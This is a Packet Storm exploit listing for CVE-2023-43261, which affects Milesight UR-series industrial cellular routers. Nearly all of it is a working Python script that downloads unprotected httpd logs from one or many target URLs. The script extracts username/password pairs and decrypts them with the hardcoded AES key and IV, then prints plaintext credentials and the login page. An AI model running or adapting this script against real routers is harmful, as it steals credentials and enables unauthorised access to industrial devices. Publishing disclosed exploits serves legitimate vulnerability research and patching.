exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Milesight UR5X / UR32L / UR32 / UR35 / UR41 Credential Leakage

Milesight UR5X / UR32L / UR32 / UR35 / UR41 Credential Leakage
Posted Feb 5, 2024
Authored by Bipin Jitiya

Milesight IoT router versions UR5X, UR32L, UR32, UR35, and UR41 suffer from a credential leaking vulnerability due to unprotected system logs and weak password encryption.

tags | exploit, info disclosure
advisories | CVE-2023-43261
SHA-256 | 4791d7ca6f5a11b71148995110e315c6b6ea98632d3810a0ca1aeb9e961c9eb3

Milesight UR5X / UR32L / UR32 / UR35 / UR41 Credential Leakage

Change Mirror Download
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
Title: Credential Leakage Through Unprotected System Logs and Weak Password Encryption
CVE: CVE-2023-43261
Script Author: Bipin Jitiya (@win3zz)
Vendor: Milesight IoT - https://www.milesight-iot.com/ (Formerly Xiamen Ursalink Technology Co., Ltd.)
Software/Hardware: UR5X, UR32L, UR32, UR35, UR41 and there might be other Industrial Cellular Router could also be vulnerable.
Script Tested on: Ubuntu 20.04.6 LTS with Python 3.8.10
Writeup: https://medium.com/@win3zz/inside-the-router-how-i-accessed-industrial-routers-and-reported-the-flaws-29c34213dfdf
"""

import sys
import requests
import re
import warnings
from Crypto.Cipher import AES # pip install pycryptodome
from Crypto.Util.Padding import unpad
import base64
import time

warnings.filterwarnings("ignore")

KEY = b'1111111111111111'
IV = b'2222222222222222'

def decrypt_password(password):
try:
return unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(password)), AES.block_size).decode('utf-8')
except ValueError as e:
display_output(' [-] Error occurred during password decryption: ' + str(e), 'red')

def display_output(message, color):
colors = {'red': '\033[91m', 'green': '\033[92m', 'blue': '\033[94m', 'yellow': '\033[93m', 'cyan': '\033[96m', 'end': '\033[0m'}
print(f"{colors[color]}{message}{colors['end']}")
time.sleep(0.5)

urls = []

if len(sys.argv) == 2:
urls.append(sys.argv[1])

if len(sys.argv) == 3 and sys.argv[1] == '-f':
with open(sys.argv[2], 'r') as file:
urls.extend(file.read().splitlines())

if len(urls) == 0:
display_output('Please provide a URL or a file with a list of URLs.', 'red')
display_output('Example: python3 ' + sys.argv[0] + ' https://example.com', 'blue')
display_output('Example: python3 ' + sys.argv[0] + ' -f urls.txt', 'blue')
sys.exit()

use_proxy = False
proxies = {'http': 'http://127.0.0.1:8080/'} if use_proxy else None

for url in urls:
display_output('[*] Initiating data retrieval for: ' + url + '/lang/log/httpd.log', 'blue')
response = requests.get(url + '/lang/log/httpd.log', proxies=proxies, verify=False)

if response.status_code == 200:
display_output('[+] Data retrieval successful for: ' + url + '/lang/log/httpd.log', 'green')
data = response.text
credentials = set(re.findall(r'"username":"(.*?)","password":"(.*?)"', data))

num_credentials = len(credentials)
display_output(f'[+] Found {num_credentials} unique credentials for: ' + url, 'green')

if num_credentials > 0:
display_output('[+] Login page: ' + url + '/login.html', 'green')
display_output('[*] Extracting and decrypting credentials for: ' + url, 'blue')
display_output('[+] Unique Credentials:', 'yellow')
for i, (username, password) in enumerate(credentials, start=1):
display_output(f' Credential {i}:', 'cyan')
decrypted_password = decrypt_password(password.encode('utf-8'))
display_output(f' - Username: {username}', 'green')
display_output(f' - Password: {decrypted_password}', 'green')
else:
display_output('[-] No credentials found in the retrieved data for: ' + url, 'red')
else:
display_output('[-] Data retrieval failed. Please check the URL: ' + url, 'red')


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    14 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close